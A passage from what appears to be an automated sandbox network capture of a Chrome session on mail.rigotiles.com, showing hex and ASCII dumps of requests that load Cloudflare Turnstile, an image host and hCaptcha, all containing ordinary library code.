a=i.read();if(a===y)break;if((r=this._decoder.handler(i,a))===w)break;null!==r&&(Array.isArray(r)?o.push.apply(o,r):o.push(r))}if(!this._do_not_flush){do{if((r=this._decoder.handler(i,i.read()))===w)b
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 61 72 20 73 3d 31 30 32 33 26 6f 2c 63 3d 31 30 32 33 26 61 3b 69 2e 70 75 73 68 28 36 35 35 33 36 2b 28 73 3c 3c 31 30 29 2b 63 29 2c 72 2b 3d 31 7d 65 6c 73 65 20 69 2e 70 75 73 68 28 36 35 35 33 33 29 7d 72 2b 3d 31 7d 72 65 74 75 72 6e 20 69 7d 28 65 29 29 2c 69 3d 5b 5d 3b 3b 29 7b 76 61 72 20 6f 3d 72 2e 72 65 61 64 28 29 3b 69 66 28 6f 3d 3d 3d 79 29 62 72 65 61 6b 3b 69 66 28 28 6e 3d 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 2e 68 61 6e 64 6c 65 72 28 72 2c 6f 29 29 3d 3d 3d 77 29 62 72 65 61 6b 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 3f 69 2e 70 75 73 68 2e 61 70 70 6c 79 28 69 2c 6e 29 3a 69 2e 70 75 73 68 28 6e 29 7d 69 66 28 21 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 29 7b 66 6f 72 28 3b 28 6e 3d 74 68 69 73 2e 5f 65 6e Data Ascii: ar s=1023&o,c=1023&a;i.push(65536+(s<<10)+c),r+=1}else i.push(65533)}r+=1}return i}(e)),i=[];;){var o=r.read();if(o===y)break;if((n=this._encoder.handler(r,o))===w)break;Array.isArray(n)?i.push.apply(i,n):i.push(n)}if(!this._do_not_flush){for(;(n=this._en
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 7c 7c 7b 22 53 48 41 2d 31 22 3a 35 31 32 2c 22 53 48 41 2d 32 35 36 22 3a 35 31 32 2c 22 53 48 41 2d 33 38 34 22 3a 31 30 32 34 2c 22 53 48 41 2d 35 31 32 22 3a 31 30 32 34 7d 5b 6c 2e 68 61 73 68 2e 6e 61 6d 65 5d 2c 6e 2e 69 6d 70 6f 72 74 4b 65 79 28 22 72 61 77 22 2c 74 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 6c 2e 6c 65 6e 67 74 68 2b 37 3e 3e 33 29 29 2c 6c 2c 75 2c 68 29 3b 69 66 28 73 26 26 22 67 65 6e 65 72 61 74 65 4b 65 79 22 3d 3d 3d 65 26 26 22 52 53 41 53 53 41 2d 50 4b 43 53 31 2d 76 31 5f 35 22 3d 3d 3d 6c 2e 6e 61 6d 65 26 26 28 21 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 7c 7c 6c 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 3e 3d 32 30 34 38 29 29 72 65 74 75 72 6e 28 69 3d 6d 28 Data Ascii: \|\|{"SHA-1":512,"SHA-256":512,"SHA-384":1024,"SHA-512":1024}[l.hash.name],n.importKey("raw",t.getRandomValues(new Uint8Array(l.length+7>>3)),l,u,h);if(s&&"generateKey"===e&&"RSASSA-PKCS1-v1_5"===l.name&&(!l.modulusLength\|\|l.modulusLength>=2048))return(i=m(
2024-10-31 20:54:50 UTC	1369	IN	Data Raw: 64 75 6c 75 73 4c 65 6e 67 74 68 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 6d 6f 64 75 6c 75 73 4c 65 6e 67 74 68 29 2c 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 7c 7c 28 6c 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 3d 28 65 2e 70 75 62 6c 69 63 4b 65 79 7c 7c 65 29 2e 61 6c 67 6f 72 69 74 68 6d 2e 70 75 62 6c 69 63 45 78 70 6f 6e 65 6e 74 29 29 2c 65 3d 65 2e 70 75 62 6c 69 63 4b 65 79 26 26 65 2e 70 72 69 76 61 74 65 4b 65 79 3f 7b 70 75 62 6c 69 63 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 75 62 6c 69 63 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 45 29 29 2c 70 72 69 76 61 74 65 4b 65 79 3a 6e 65 77 20 78 28 65 2e 70 72 69 76 61 74 65 4b 65 79 2c 6c 2c 75 2c 68 2e 66 69 6c 74 65 72 28 43 29 29 7d Data Ascii: dulusLength=(e.publicKey\|\|e).algorithm.modulusLength),l.publicExponent\|\|(l.publicExponent=(e.publicKey\|\|e).algorithm.publicExponent)),e=e.publicKey&&e.privateKey?{publicKey:new x(e.publicKey,l,u,h.filter(E)),privateKey:new x(e.privateKey,l,u,h.filter(C))}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49717	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:50 UTC	577	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:50 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 31 Oct 2024 20:54:50 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/22755d9a86c9/api.js Server: cloudflare CF-RAY: 8db68ae48da24790-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49719	162.19.58.157	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:50 UTC	595	OUT	GET /SJ5tdZc/download.png[/img HTTP/1.1 Host: i.ibb.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:50 UTC	200	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 31 Oct 2024 20:54:50 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://i.ibb.co/SJ5tdZc/download.png
2024-10-31 20:54:50 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49721	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:51 UTC	561	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:51 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:51 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8db68ae95948699a-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:51 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49724	104.19.230.21	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:51 UTC	726	OUT	GET /captcha/v1/05c78a4/static/hcaptcha.html HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:51 UTC	572	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 vary: Accept-Encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Content-Security-Policy: report-uri https://sentry.hcaptcha.com/api/6/security/?sentry_key=30910f52569b4c17b1081ead2dae43b4&sentry_environment=prod&sentry_release=csp1; Server: cloudflare CF-RAY: 8db68aebdb2e4674-DFW
2024-10-31 20:54:51 UTC	797	IN	Data Raw: 37 64 35 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 69 64 3d 22 68 63 61 70 74 63 68 61 2d 66 72 61 6d 65 2d 30 35 63 37 38 61 34 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 68 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 62 6a 65 63 74 2d Data Ascii: 7d58<!DOCTYPE html><html lang="en" data-id="hcaptcha-frame-05c78a4"><head> <title>hCaptcha</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Security-Policy" content="object-
2024-10-31 20:54:51 UTC	1369	IN	Data Raw: 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 69 6e 70 75 74 3a 66 6f 63 75 73 2c 73 65 6c 65 63 74 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 7d 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 30 7d 74 65 78 74 61 72 65 61 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 6f 75 74 6c 69 6e 65 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 72 65 73 69 7a 65 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 73 65 6c 65 63 74 69 6f 6e 7b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 6e 6f 6e 65 3b 2d 77 65 Data Ascii: }button:focus,input:focus,select:focus,textarea:focus{outline:0}:focus{border:none;outline:0}textarea{border:none;overflow:auto;outline:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;resize:none}.no-selection{-webkit-touch-callout:none;-we
